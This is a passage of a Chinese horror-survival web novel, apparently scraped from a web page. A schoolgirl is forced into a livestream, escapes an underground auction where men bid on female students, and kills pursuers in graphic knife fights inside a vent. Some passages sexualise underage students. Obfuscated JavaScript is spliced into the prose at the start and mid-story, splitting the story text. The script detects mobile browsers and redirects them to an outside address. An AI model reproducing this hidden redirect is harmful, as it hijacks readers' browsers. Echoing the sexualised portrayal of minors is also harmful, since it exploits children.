l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16562368|184859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 在所有照片的右下角都写着一行字,平江女子学校第一届校花选拔。 詹玉婷的照片上被标记了一个金色的五角星,她是这次选拔的优胜者。 这次选拔应该过去了很久,因为在那些照片里,没有人是现在的学生头,她们各有各的发型,有的是卷发,有的是直发,有的染着金色,有的染着红色,是各不相同的模样。 “叮——咚——直播任务即将开始,请主播就位。本次直播的要求是,露肤度60%。直播目标为,观看者打赏五万元以上。” “一小时未能完成要求或未能达到目标都将开启惩罚,此房间内温度会达到五十度,并每半个小时往上升十度。反之,只要完成了直播任务,就会开启前往乐园的入口。请主播努力完成任务,这是进入乐园的唯一办法。” “想要逃离地狱吗?想要离开这里吗?那就加油吧。唯一的出口,在乐园里。” 电子屏上的巨幅照片消失了,变成了黑色的背景,上面巨大的鲜红数字正在倒数,她只有五分钟的思考时间。 00:05:00 00:04:59 00:04:58 …… 青于慌乱地在卧室里转了一圈,她看到了被自己困住的符让。 这个空间里还有第二个人,她松了口气,然后将符让的衣服裤子扒了下来。她的身上穿着两套校服,穿在里面的是她在列车上买的校服套装,也是短袖和运动裤,外面的是这所学校的校服,同样是校服和运动裤。 青于把自己的那件校服短袖脱下来给符让套上,又把两层纱幔团吧团吧捆在他胸前假装胸部,最后扯了一层纱幔缠在他腰上遮挡男性特质。 对于她来说刚刚合身的校服短袖位于符让的肚脐上方,这样一看,露肤度肯定够了。 符让依旧是被捆着的,她拖着人扔到展台上,还从公主床上拿了两个枕头垫在他身后让他坐着,又扯了一块淡蓝色的纱幔盖在他头上,能够遮一遮他的脸。刚走开又想到了什么,就从床上捡了一大团棉花塞进他嘴里,防止他复活后出声。 还剩十几秒,青于正找地方躲藏,突然看见了被符让挤到地上的玩偶熊,那么大的玩偶熊,足够她钻进去了。 她割掉了玩偶熊的眼睛,又用刀在玩偶熊屁股上划开一道口子,然后掏出一部分棉花自己钻了进去,她找了个好位置坐着,前面就是展台,能够清楚地看到符让的动作,握着刀的手藏在身后。 00:00:03 00:00:02 00:00:01 黑色的屏幕瞬间亮了起来,符让的模样被放大后展示在电子屏幕上,评论只有零星几条,观看人数不到十个。 【好久没开播了,就这?】 【这也没什么看点啊?】 【小美女站起来给叔叔看看,转一圈叔叔给你打赏一千】 【怎么衣服上血呲呼啦的,啧,我还是看不惯这种脏的】 【看起来挺有料的,好孩子快把衣服脱了】 【这腿挺长啊,又白又细的,打赏了,小美女,期待在乐园看到你】 【确实啊,个儿应该挺高的,皮肤也白,打赏了,到时候乐园见】 评论一直在跳,观看人数也不停往上涨,但是距离直播目标还很遥远。 一个小时的期限已经过半了,打赏却只有几千块钱,大部分都是只会说荤话,但是一毛钱都没有刷。 青于有点着急,她能感受到,这个空间的温度越来越高了。 就在这时,符让醒来了,他的手是被捆着的,所以只能徒劳地蹬着腿,那些锋利的钻石将他的皮肉割得血肉模糊。 “呜呜呜”的惨叫声在房间里回响着,打赏的声音越来越密集,评论刷得更快了。 隔着一层朦胧的纱幔,符让看见了自己对面的玩偶熊,也看见了玩偶熊里那双漆黑的眼睛,他挣扎的动作变得更剧烈了。 【靠,原来玩得是这种】 【爽了】 【小美女悠着点,伤得太厉害到时候来了乐园也没意思啊】 【这种还是第一次见,是个狠人,打赏了】 “叮咚——直播任务已完成,用时五十分钟三十七秒,直播到此结束。乐园入口已开启,请主播尽快前往乐园。” 公主床发出了一声响动,然后床缓缓移开,露出一个地下通道的入口。那是一块很厚的挡板,上面有一些红色的文字:乐园入口已开启,请佩戴面具进去。 挡板上突然打开了一个小格子,里面放着一个遮挡全脸的面具。 青于担心里面有查验身份的人,所以她想把符让一起带进去。 拿着面具扣在符让脸上,然后掐着他的脖子威胁道:“不想死的话就老实点,虽然能一直复活,但是死亡的痛苦不能抹去,死了那么多次,你也会害怕吧。” “你不是想组队吗?我们组队吧,一起去乐园,放心吧,我会保护你的。” 青于拽着符让到了入口处,那厚重的挡板“嘀”了一声,然后缓缓打开,露出一条向下的通道。 她穿着玩偶熊的衣服走前面,然后拖着符让跟在身后。 往下的台阶走完后,他们出现在一道铁门前,铁门侧边挂着一块牌匾,上面写着:平江女子学校。 这就是所谓的乐园吗? 上面的挡板已经合上了,他们没有退路。 铁门并没有上锁,青于抬脚一踹,门被打开,露出的竟然是操场,一个截然不同的操场,唯一的相似处是都有一个大大的舞台,上面复刻了她和詹玉婷的布置。 而此刻,舞台上正在表演节目,一群穿着短裙的女学生脸上戴着可爱的动物面具,正在跳性感的女团舞,伴奏的音乐很躁动,充满暗示的歌词在起哄着逐渐汹涌的恶意。 入目全是衣着性感的女学生,除此之外,就是一些穿着黑色西装的男人,高大的男人、矮小的男人、壮硕的男人、肥胖的男人,他们每个人都带着一个手提箱。 在舞台侧边有一块黑色的电子屏,上面正不断刷新信息。 【秦先生出价:50000】 【李先生出价:55000】 【高先生出价:65000】 舞蹈进入尾声,音乐声变小了,又有人走上了舞台,是一个穿着白色西装的男人。 他手里拿着话筒,声音清晰地说:“六人女团的节目进入尾声,当前出价最高者为高先生,请有意向的客人尽快下手,距离这个节目结束还有二十秒。” 这个声音! 是程叶。 “恭喜高先生成功拍下六人女团的节目,下一个节目为独唱,起拍价一万元整。” 穿着白色西装的程叶下台了。 青于将符让扔在原地,然后混在人群中去找他。她想知道现在到底是什么情况,难道在台上表演的人都是学校里的学生吗?这些人又是从哪里来的? “程叶班长。” 程叶猛地回头,他脸上戴着白色的狐狸面具,将整张脸遮得严严实实的,就连眼睛那儿都有一层浅红色的镜片。 他没有说话,静静地看着面前的熊。 青于从仓库里取出一块巧克力,用熊爪捏着在他面前摇了摇,然后说道:“是我。班长,这里是哪里?现在是什么情况?”她一边说一边将巧克力塞给程叶,但程叶却后退了一步避开,然后抓着她的手将她带到一个黑漆漆的小房子里。 手里被塞了一包东西,程叶小声说:“那块巧克力我已经吃了,所以我帮你一次。换上这身衣服一直往西走,那里有个斜坡可以离开,一路上不管遇到谁都不要说话,不管看到什么都不要管。” 他说完就离开了,黑漆漆的小房子里只有青于一个人。 她拿出手电筒照了一下,这应该是个换衣间,空间非常狭窄,放着一排木架子,架子上有一套校服,是平江三中的校服,是程叶的校服。 而她手里的是一套黑西装,还有一个黑色的老虎面具。 青于手脚麻利地把西装换上,韩喜乐的校服被她塞进书包里,然后把书包绑在腹部,正好这套西装很宽,能够遮挡书包鼓出来的大肚子。 她再次回到热热闹闹的舞台周围,已经有很多西装男搂着女孩儿调情了,他们在沙发上激吻,或是相携着去往更暗的地方。 青于低着头快速行走,路上她还顺了个手提包拿着,这样一来就更像了。 她试图在这里找到熟悉的人,徐念雨或是詹玉婷都行,又或是朱芸他们,但是很难,所有人都戴着面具,找人的难度很大,而且这个地方很诡异,她也不敢表现得太明显。 她不知道晃悠了多久,灯突然全灭了。 这里是地下,灯一灭就陷入了一片黑暗,人群突然变得躁动,周围全是乱糟糟的脚步声和嘈杂的骂声。 她小心地找了个角落的地方缩着,然后躲避着那些靠近的声音。 隔了好几分钟,灯又亮了,却不是那种照亮全部的灯,而是一束追光。追光打在舞台上,是一个圆形的光圈,周围还有一圈模糊的视野,更远些就是彻底的黑暗。 舞台上空空荡荡,穿着白西装,戴着白色狐狸面具的程叶站在上面,手中握着一支话筒,“各位尊敬的客人,欢迎大家进入自由狩猎环节,本场仅有一只猎物。她的特征为,黑色西装,黑色老虎面具,首位捕猎成功的客人能够带走自己的猎物。现在,狩猎开始!” 那些衣着暴露的女孩儿不见了,只剩下穿着黑色西装的人,人数不算多,二十多个人。 青于松了一口气,还好。 还好她没有完全相信程叶,还好她扔下符让时带走了他的面具,还好她在黑暗中把面具换了。最重要的是,符让的这个面具没有人知道是什么图案,她在给他戴上时,就一直在遮掩面具的形状。 为的就是这一刻,如果每个人都要有一个面具,那符让的那个就是她的。 符让说过,要让自己当“猎物”。 那现在的这个局面,是他造成的吗?还是说,从进入那个直播的房间后,所发生的一切都是他计划好的。 王美燕和陈建设大概率是他的队友,因为他们逃走时堵住了那个通道,所以自己没有别的路可以走,如果不想被蒸熟就得找到去乐园的路,而把自己送到乐园,就是他们的目的。 既然如此,他们得到了什么?他们献上一个猎物,能从程叶手中得到什么好处? 她得到的信息是,周日程叶可以离开学校,所以很多人都在讨好他,试图让他带自己离开。他们的目的会不会也是这个,让程叶带他们离开? 但徐念雨说过,那并不是绝对的生路。 21.平江三中(12) 狩猎开始了。 青于不想被抓住,虽然她脸上的面具没人知道,但这一切都是符让他们的计划,那就有一种可能,他们知道那里会出现一个什么样的面具。 所以要一直更换面具躲藏才是最稳妥的方法。 好难,除非这些人全部死完,不然她活下去的概率很小。 这场狩猎或许还有别的意思存在,但在青于看来很简单,就是一场生死游戏。她是猎物,但是她不想死,那就只能让别人死了。 还好,她很擅长让别人死。 说动手就动手,她藏在黑暗里,对着从自己面前走过的矮小男人狠狠挥刀,刀背重重砸在那人的后脑勺,他倒地了,四肢抽搐地挣扎着。 青于的手指上沾到了一点少量的血迹,那男人倒地的速度太快了,她还没反应过来那些血迹是怎么出现在自己手上的。 是砸破了吗?那伤口大不大,会不会出现大量的血迹将其他狩猎者引来? 她手里攥着从男人脸上扯下来的狮子面具,没有丝毫迟疑地将其贴在自己脸上,面部的皮肤感受到了面具上的余温,是那个男人的体温。这个认知让她起了一身的鸡皮疙瘩,好恶心,这种被别人体温贴紧的感觉,好恶心。 男人的西装口袋里掉出一个小小的金属牌,上面刻着“07”两个数字。周围的脚步声越来越近,她迅速把金属牌捡起来塞进自己的口袋里,然后猫着腰往舞台后面挪。 最终,她选择蹲在舞台后面透过面具上眼部的孔洞去观察那个躺在地上抽搐的男人。会有人发现他吗?狩猎场里如果有人死了会停止狩猎吗? 圆形的追光在乐园的每一个角落里扫过,那束光会随机出现在任何地方。 舞台上站了一个人,看身形像程叶,他站在边缘处的台子后,正在操作一个红色的摇杆。他晃动摇杆时,那束追光也会随之晃动。 得毁了那个摇杆,不然她迟早会暴露在光源下。 青于慢慢往舞台的侧边挪动,她手心里全是汗,一直蹲着慢慢往前行走,腿酸了就歇一会儿,一点也不敢站起来,生怕被程叶发现。 舞台侧边有上去的小台阶,而那个装着摇杆的台子也在侧边。 青于慢慢挪了很久才到达小台阶的位置,她改变了姿势,保持着一个方便攻击的姿势,然后拎着刀想要冲上去,就在她移动脚步后,突然听到身后传来一个熟悉的声音:“你在这儿干什么?” 是程叶。 青于连忙回头,把刀横在胸前防御着。 程叶站在离她三步远的地方,手里拿着一个对讲机,他的狐狸面具眼洞是浅红色的,像一块浸了血的玻璃,他盯着青于脸上的狮子面具,声音里带着一点笑意:“你没听我的话往西走,那可是唯一的生路。” 青于的肌肉瞬间绷紧,她将握着刀的手藏在身后,克制着自己的颤抖,冷静地说:“我现在没法儿相信你的话。你早就知道我是猎物?还是说是你给我的这身衣服让我成了猎物?” 程叶没有回答,只是从口袋里掏出一个东西扔给她,是之前她塞给他的巧克力,包装纸还在,已经被捏得皱巴巴的,但是没有吃,是完整的。 “骗你的,你给的巧克力我没有吃。” 青于接住那块巧克力,紧紧攥住,然后问道,“这算是答案吗?因为你没有吃巧克力,所以也不会帮我,是这个意思吧?” 程叶点头,然后耸了耸肩,他从口袋里掏出一盒烟,点了一支含在嘴里,有些含糊不清地说:“醒醒吧,这个地方哪儿有好人啊,好人可活不久。如果我是你,我不会相信这个地方的任何一个人。轻信他人是一种病,学名叫愚蠢。” 青于盯着他问道:“你的女朋友叫什么名字?” 程叶笑了一下,吊儿郎当地靠在立柱上,轻佻地说:“如果你想的话,可以是你。” 青于没有理会他的态度,只是追问道:“你的女朋友是韩喜乐,你曾经不止一次地带她离开学校,所以,她现在在哪儿?你带她离开学校后去了哪里?她出了什么事?她死了吗?” 程叶脸上的笑容消失了,他用力吸了一口烟,然后将还剩大半的烟扔在地上踩灭,低声恐吓道:“如果你想活着离开这个地方,就永远不要提起她的名字。这句话是真的,也是唯一一句真的。” 青于紧紧咬着牙,更乱了。 韩喜乐是真实存在的人,之前的猜测是错的。但是她确实消失了,她的消失也确实掩藏着一个巨大的秘密。 这时,程叶的对讲机突然响了,里面传来一个男人的声音:“猎物的面具更换了,我们发现了客人的尸体,是07号客人‘狮子’。已经确定了,猎物现在的面具为狮子,请你赶紧播报。” 青于的血一下子凉了,她有些无措地往后退,想要离开程叶的视线范围之内。那个属于符让的面具还在她包里,她可以换成那一张。 这件事让她得到一个结论,通过杀人更换面具是行不通的。 “你现在必须离开!”程叶的声音也变得着急,他往前几步抓着青于往角落的方向跑,“你怎么可以杀死客人!你知道……算了,赶紧离开这里,前面那个换衣服的房子里有一处通风口,一直顺着爬会回到教学楼,但是千万不要去操场和宿舍,只能待在教学楼里。” 程叶手里的对讲机又响了,依旧是那个男人的吼叫声:“程叶,立刻播报!你在干什么?你要惹怒他吗?程叶!收到立刻回答我!” 青于被一股很强的力道往前推了一把,程叶的声音留在了身后,“告诉韩喜乐,让她找机会离开这里,不要管我。” 青于的脚步顿了顿,她回头看,只见程叶拿着对讲机开始说话了,并且一步一步地走回了舞台中央。 他的话还能信吗?青于觉得自己要疯了。 但是现在好像没有选择了,舞台那边是绝对不能去的,她藏不住,而且同时面对那么多人,她打不过。 青于跑到小房子里,通风口的盖子已经被掀开了,她刚刚爬进去,就听见有人踹门进了小房子。一阵乱糟糟的脚步声,应该有好几个人。 真糟糕啊,好像又是陷阱。但是运气还不错,是一个不那么要命的陷阱,这一次,优势在她。 她仗着自己体型小,就在通风管道里转了个方向,面对着入口,然后等待着那些追上来的人出现。 第一个人爬上来的时候,青于手里的刀迅速刺出,也不知戳到了什么位置,总之那个人掉下去了。杀猪刀一半都沾上了血迹,刺得很深,如果是在肺部的话,大概率活不了,就怕刺在了腹部,那地方可死不了人。 “猎物藏在这儿了,快爬上去抓她!靠,枪呢?带枪的人没来?” “不知道那些带枪的人这一局进来没有,你先上去看看,那猎物太野了……” “你个怂货!” 青于往后退了两步,管道里的灰尘呛得她咳嗽,她咳了两声就赶紧用袖子捂住口鼻。 “快!她还没走远!” “我不敢上去,你先上去!” 第二个人的脑袋刚探进来,青于的刀就劈了下去,刀背砸在那人的额头上发出一声闷响。 那人惨叫一声却并未退却,反而双手撑着管道边缘想要钻进来,青于抬脚踹在他的肩膀上阻止了他的动作,因为姿势的限制这一脚力度不够,没能将人踹下去,她只能立刻改变思路往前探了一些拽住那人的头发往里拉,在男人的惨叫声中,手中的杀猪刀一划而过,割了他的喉咙。 管道里回荡的惨叫声戛然而止,鲜血喷了她一身,黏黏糊糊的,那血还在不停地流,让管道壁变得很滑。 “靠!这是什么乐园,找死乐园是吧?” “该死的,让他们赔钱!老子花钱是来找乐子的,不是来被杀的!” “那些蠢货从哪里找来的猎物?这种程度的猎物他们为什么不给我们配枪!” 青于不敢再等,立即转身往管道深处爬去。 管道内部又暗又静,她的书包蹭着管道壁发出沙沙的声音,像是如影随形的脚步声干扰着她紧张的情绪。她尽量把身体贴紧管道顶部,减少摩擦的声音,但还是很吵,心跳声太大了,好像在这管道里一遍遍地回荡着。 爬了大概二十分钟,手臂开始发酸,膝盖被管道壁磨得生疼。突然,她听到前面有声音,是呼吸声,很轻的呼吸声,但在安静的管道里格外明显。 青于立刻停下脚步,一手将刀握在手中挡在身前,一手从口袋里掏出那个小巧的手电筒瞬间打开照向前方。她慢慢往前挪,透过面具的眼洞看过去,前面的管道里有个影子缩在角落里,正背对着她。 她轻轻喊了一声:“谁?” 影子动了动,传来一个熟悉的声音:“你是谁!你不要过来!” 是詹玉婷的声音。 “詹玉婷,是我……我是新同学。”青于说着缓缓上前,她的刀横在前方,要是詹玉婷展露出攻击的意图,她的刀会率先刺穿她的心脏,她对自己的反应力极度自信。 詹玉婷猛地将头转过来,她的面具是兔子形状的,如今被挪到了头顶,露出一张脏兮兮的漂亮小脸,她眼睛又红又肿,显然已经哭过了:“我好害怕,他们把我带到这儿来,要把我卖掉……我好害怕啊,我不想被卖掉。呜呜呜呜……” 她的裙子很短,勉强遮住了屁股,一双长腿赤条条地蜷缩着,膝盖和脚趾都透着不正常的粉红色,上身穿了一件很透明的小吊带,能够看到里面款式暴露的内衣。 青于脱下自己的西装外套递给她,挑了挑下巴,“穿上吧。” 詹玉婷愣了一下,然后接过那件衣服套上了,轻轻说了一句:“谢谢你,新同学。” 青于眨了眨眼,她实在不习惯面对别人的道谢,所以伸手推了詹玉婷一下,开口催促着:“我们得赶紧走,那些人很快就会追过来。” 詹玉婷闻言又开始哭了,眼泪大滴大滴地从早已通红的眼眶里滚落。她抽泣着点了点头,开始往前爬,刚爬了一下就哭着问道:“你可以把手电筒关了吗?我的裙子很短,里面没有裤子……” 她说着又要哭,青于当机立断地把手电筒关了,有点不耐烦地说:“赶紧爬,再不走真的会死的。” 管道里很暗,失去了光源后,一切都变得模糊不清。青于无法验证詹玉婷的话,因为她确实看不见她有没有穿裤子,她只知道一件事。 詹玉婷说谎了,她根本不是从乐园那一头爬过来的。青于一路过来都在观察,管道里的灰尘很厚,根本不像是被人蹭过的样子,而且詹玉婷的膝盖和手肘只沾染了少量的灰尘。 她们爬了没多久,就听到后面传来追兵的声音。 真麻烦,詹玉婷爬得太慢了! 青于停在管道里,双手抱膝把自己团成一个球,用脚尖蹭着管道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16571055|184859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底部挪动着,轻而易举地转了个方向,一个背对着詹玉婷,直面那些追兵的方向。 她轻巧地往前挪动了一些,通过声音感受着那些人和自己之间还有多少距离。 果然,把堵塞物留在洞口是没用的,很快就会被拖出去,应该把尸体拖进来堵住的。 好在那些追兵体型没她小,柔软度也比不上她,所以没办法灵活地在管道里换方向,这就是她的优势,她要将自己的优势发挥到极限。 自从钻进这个管道里,青于就感受到了一些安全感,至少这个管道只有两个方向,一前一后,不用担心从四面八方突然出现的敌人或子弹。 喘息声越来越近,青于握紧了手里的东西。 这些人钻管道是临时起意的,因为他们的东西准备不充分,他们甚至没有带手电筒。所以,程叶给出的信息是正确的吗?她已经无法判断了。 在那个人距离自己一臂时,青于闭上眼猛地打开手电筒晃了他一下,刺眼的光让他下意识地抬手遮掩。青于就是这个时候动手的,锋利的刀刃狠狠砍下,砍伤了男人的手,在他颤抖着手惨叫时,尖锐的杀猪刀疯狂地往前刺,在男人脸上戳了好几个洞,让他失去了往前爬的能力。 脸上的伤出血量没有割大动脉多,所以管道内部没有受到影响。而且这个人没有死,他只是受了伤,很痛苦的伤,这些伤会让他挣扎,躲避,给后面的人增加难度。 一具尸体很容易被拖走,但是一个因为受伤而发狂的人就没那么容易控制了。 青于再次转换方向,就看到詹玉婷在自己很近的位置盯着自己看,脸上还带着一丝诡异的笑容。 她越凑越近,几乎是贴着青于用气音说道:“你好棒啊。” 她的眼睛很大,现在用尽全力地瞪着,好像那两颗圆圆的眼球要从眼眶里脱出来了一样。 青于收起手电筒,用沾了血的杀猪刀抵在她下巴上,“往前爬。” 詹玉婷盯着她看了几秒,突然笑出了声,那笑声有些尖锐,也有点神经质。她往后退了退,双手撑着管道壁往前爬。 “新同学,你要加入今晚的狂欢吗?还记得我们布置在操场的舞台吗?在那里,今晚有一个狂欢晚会。我邀请,我邀请你加入我们的狂欢晚会!” “你真的很适合加入这次狂欢会,来吧来吧,你一定会喜欢的!真的很适合你,新同学。” 青于跟在她后面,刀始终对着詹玉婷的后背。 她没有回答,只是象征性地用刀尖戳了戳詹玉婷,示意她老实一点。 她真的受够了,这个副本里到底有没有正常人?哪怕一个也可以?无论是副本里的NPC还是那些神神叨叨的玩家,能不能有一个正常人啊! 管道里的空气凝滞得能滴出水,她们急促地喘息着,大量的灰尘伴随着浓烈的血腥味冲入鼻腔,那些血好像堵在了他们的喉咙里,是浓得化不开的腥味。 前方有个拐角,就在她们即将到达拐角的时候,詹玉婷突然停了下来。 青于已经无奈了,她咬了咬牙忍着脾气问道:“你又怎么了?” 詹玉婷慢慢转过脸,嘴角扯着一抹笑容,指了指她的身后,阴恻恻地说:“你的身后……” 青于猛地转身,手里的刀比眼神更快落到身后,刀刃划过人脸后,她的视线才落上去。一个男人的脸出现在她眼前,满脸是血,眼睛睁得很大,正是刚才被她砍伤的那个人。他的手伸向青于,指甲里还沾着管道壁的灰尘:“你这个该死的猎物,我要吃了你!” 青于往后退了一点,反手握刀,猛地将刀刃扎进了男人的嘴里,然后迅速抽出来刺向脖颈、头颅、太阳穴,一刀接着一刀,没有丝毫犹豫,下手越来越快。 男人的惨叫声被第一刀扼制在喉咙里,几刀过后,他无力地倒在管道壁上,发出一声沉闷的响声,激起一阵灰尘。 鲜血溅在青于的面具上,顺着眼洞流下来,糊住了她的视线。 她取下面具扔在男人的尸体上,又费劲儿地扒下了他的西装外套,然后转过身用一种极其平静的态度对詹玉婷说,“我的耐心一直都不太好,所以,你自觉一点,可以吗?” 詹玉婷抖了一下,僵硬地笑着点了点头。 这一刻,好像青于更像一个危险的副本NPC,而詹玉婷只是一个被迫和NPC待在一起的可怜高中生。 青于没忍住白了她一眼,然后把男人的西装外套扔给她,语气生硬地说:“缠在腰上挡一下,我要开着手电筒。” 隔了好一会儿,或许是十几秒,或许是一分钟,就在青于即将发火的时候,前面有声音传来,“谢谢你。我围好了,你打开手电筒吧。” 青于打开手电筒,看见了空气中飞扬的灰尘,浓度很大,光柱里几乎全是翻滚的灰尘,管道里越来越灰,空气也逐渐变得稀薄,青于觉得自己再不出去就要被灰尘闷死了。 要是詹玉婷再给她添麻烦,她就杀了她。杀了詹玉婷只会有一件麻烦事,那就是她的尸体堵在自己前面,有点不好过去,所以希望詹玉婷自觉一点,爬快点! 这时,詹玉婷突然说了一句:“你好,我叫詹玉婷,你叫什么?” 青于忍无可忍地用刀背敲了敲管道壁,“我叫你爬快点!还我叫什么……说了一万遍了,能不能自觉点,自觉点!赶紧的,别磨磨唧唧地磨洋工!” “哦,好的。” 22.平江三中(13) 她们又爬了好几分钟,前方出现了光源,有风从光源的方向吹进来,出口近在咫尺。 只差临门一脚,青于松了口气。她的膝盖已经磨破了,裤子粗糙的布料紧紧贴在伤口上,因为爬行的动作不断摩擦,那擦伤越来越疼,感觉那层布料快要长在她的伤口上了。 越是靠近出口,那风就越大,吹散了管道内的窒息感,也吹凉了她一身的热汗。 青于说道:“出口很近了,爬快点。” 詹玉婷却说:“我的膝盖好疼,我爬不动了。” 她说完就停在了原地,将跪着往前爬的姿势换成了一个抱膝坐着的姿势,像是害怕青于骂她,她可怜兮兮地揪着西装外套的衣襟,将自己的脸藏在衣服里。 手电筒的光直直打在她身上,把她整个人照得惨白惨白的。也照亮了她膝盖上的伤口,细嫩的皮肤被磨破后沾染了许多灰尘,因为不停地爬行,那破损处越来越严重,变成了现在血肉模糊的样子。 青于不耐烦地“啧”了一声,然后趴在管道里对不停抽泣的詹玉婷说,“从我身上爬到后面去,然后你坐着我拖你走……别哭了,赶紧的!” 她收紧腹部,绷紧全身的肌肉,准备迎接属于詹玉婷的重量。 詹玉婷还在发抖,她的指尖一下接着一下地抠着西装外套上的塑料扣子,当扣子变得松动后,她又将指尖塞进了扣眼里使劲拽,指腹被勒出密密麻麻的疼,她的脑子一下清醒一下糊涂。 她此刻好像是在憋闷的管道里,又像是在另一个被禁锢的空间里,四肢被限制着无法摆出舒适的姿势,只能蜷缩着,将自己变成一个毫无威胁的“猎物”。 青于又开始催促了。 詹玉婷的理智被少女不耐烦的声音用力拽了回来,她有些僵硬地挪动着瘦弱的身体爬到青于背上,却突然停在了肩膀处,用双手环住青于的脖子让两具躯体紧紧贴近,然后颤抖着,哽咽着说:“后面有东西,我不敢下去。” 青于竖着耳朵去听,除了她们的呼吸声外,管道里果然出现了另一种声响。 “沙沙、沙沙、沙沙”是在管道里爬行的声音。 “别怕,你抱紧我,我带你爬出去。” 青于咬着牙说完,把刀插进书包的侧边口袋里,将双手的袖子往上拉,用皮肤来增加摩擦力。她们两个人叠在一起,没法将腿立起来跪着用膝盖借力的,只能用双手肘匍匐前进,身上还负担着另外一个人的重量。 她用尽全力往前移动,细瘦的手臂和粗糙的水泥不停摩擦,擦伤的面积越来越大也越来越深,疼得她出了一身的冷汗。她咬着牙硬是一声不吭,疼痛反倒成了一种清醒剂,让她无比清晰地感受着此时的一切。 “我是不是很重?你是不是没力气了?”詹玉婷贴在她耳朵边小声问她,温暖潮气的呼吸落在侧脸上,让因为疼痛而发冷的皮肤有了片刻的温度。 青于咬着牙不说话,想要一鼓作气爬到出口。 詹玉婷又说:“你把我扔下吧,一个人能逃掉,两个人肯定逃不掉的。扔下我吧,我不怪你。” 青于因为疼痛开始掉眼泪,是生理性的眼泪,她借着擦眼泪的动作缓了一下,没忍住开口骂道:“你还怪我,我欠你的啊?要不是你爬不动了,我至于这么费劲儿吗?我要是只有一个人,早就离开了。你该反思一下自己的无能,还要因为自己的没志气和自己道歉。” 詹玉婷愣了一下,“那你为什么不放下我自己离开?你想死吗?” “你说话好难听,你才想死。我只想过要杀了你,没想过要把你留给那些人。现在扔下你你的结局是什么我能想到,所以我做不到。而且,还没到生死关头呢,没必要丢下你,拼一把,万一呢……” “万一就成了呢!” 青于说完感觉自己说得真对,瞬间充满了干劲,就算胳膊肘疼得不停掉眼泪,她也觉得还好,还没到绝路上,还有“万一”的可能。 她能活到现在,她能顺利给妈妈报仇,凭借的可都是“万一”。 万一就成了呢? 万一就成了呢! 詹玉婷好像在哭,温热的眼泪透过衣服落在她的肩膀上,潮乎乎的,很不舒服。 “你别哭了……” 青于舔了舔嘴唇,扯着嘴角说了一句:“哭久了会渴,我这里可没有水给你喝。” 詹玉婷破涕为笑,紧紧搂着她的脖子,将下巴抵在她肩膀上,带着浓重的鼻音说:“我不哭了,我帮你看看后面。” 青于实在看不上她,就回了句:“不用了,你再给自己吓死。” 管道里的风越来越大,灰尘飞扬着,有些眯眼睛。 一双手伸到她眼前虚虚护着,只留下一小条缝儿,詹玉婷说:“我帮你挡着,加油。如果我们能顺利出去,我会解答你的一个问题,我保证,绝对是真话。” 青于“嗯”了一声,越发卖力地往前爬。 出口的光越来越亮,她甚至能看见通风口外面的遮挡物,是一个网格状的铁盖子,打开应该需要很大的力气。 没关系,看到出口就好了。 “到了。” 青于喊了一声,抖了抖肩示意詹玉婷下去,然后自己撑起身体去推通风口的铁盖子。詹玉婷赶紧过来帮着她一起推,盖子“吱呀”一声打开,新鲜的空气涌进来,青于深吸了一口气,却只闻到浓烈的血腥味。 不对劲。 詹玉婷挣扎着想要往外爬,青于猛地后退了几步将她挡在管道里。 青于笑了一下,那是因为自己的天真而发出的嘲笑,正如程叶所言,轻信他人的学名叫愚蠢。 她总是容易愚蠢。 “你说得顺利出去,还真是一个大难题。” 詹玉婷将头搭在她肩膀上,和管道外面那个浑身是血的人四目相对。 她歪着头将毛茸茸的头顶贴在青于脸上,夸张地“哇”了一声,有些兴奋地说:“新同学,外面有一个穿着雨衣戴着头盔的变态杀人狂唉,他手里还拿着电锯!” 外面只有一盏孤零零的路灯,高高的黑色杆子像一道鬼影,最顶上有一盏灯,脏污的灯罩外面围着一群飞蛾,在地面上投下大大小小的影子。灯光昏暗,视野并不清晰。 一个高大的人站在路灯下,他身上穿着一件劣质的透明雨衣,那雨衣一大半都被血染红了,在模糊的灯光下是黑色的,只有浓郁的血腥味客观地陈述着这个场景。 他头上还戴了个摩托车头盔,黑红的配色,覆盖在脸上的挡板也是黑色的。 “我没瞎,你先闭嘴。” 青于强行用背抵着詹玉婷往后退,但是詹玉婷没那么听话了,非要用力跟她对抗,还说什么:“我出去帮你引开他,然后你离开,就当是谢谢你把我带出来。” “把你带出来送死啊,赶紧往后退……” 詹玉婷侧着坐在管道里,将一双长长的腿搭在管道壁上,膝盖上的伤口已经不流血了,被厚厚的灰尘糊住,像一种劣质的止血方法。 她晃晃悠悠地说:“可是退不了了,后面也有人啊。而且这里面不能待太久,会缺氧的。要怎么办啊,新同学。” 前有狼后有虎。 这是很危急的时刻,也是名副其实的生死关头。 青于将刀从书包侧边口袋里抽出来,拿在手里转了一圈。 她不怕的,这样前后围堵,被敌人包围的时候她经历过啊。而且那次可不止两个人,而是家里的所有人。 那时候她的手里甚至没有刀,她就想着拼一把,万一呢。 她顺手抄起一把板凳就开始反击,最终成功救下了被打的妈妈,也救出了被困在那所破房子里的,属于自己的野心。 我可以的! 我一定可以的! 她把背在胸前的小书包取下来,将两条背带握在左手里,让沉重的书包也变成防身的武器,右手握紧杀猪刀,用刀背贴了一下因为兴奋而微微发烫的脸颊,长长地呼出一口气。这口气里,是她所有的紧张、恐惧、不安。 她蹲着快速往前移动,想要正面那个提着电锯的杀人狂。 她要出去,她要离开通风管道去往更宽广的场地。 她要出去,她要离开石洞子村去往更鲜艳的世界。 她要出去,她要摆脱深山赋予她的一切,带着妈妈的遗志,一往无前地逃出去! 她要挣脱、她要自由、她要呼吸。 通风口外的杀人狂看见她前行的动作,怪笑一声后挑衅地将电锯高高举起,锯齿转动的嗡鸣声震耳欲聋。 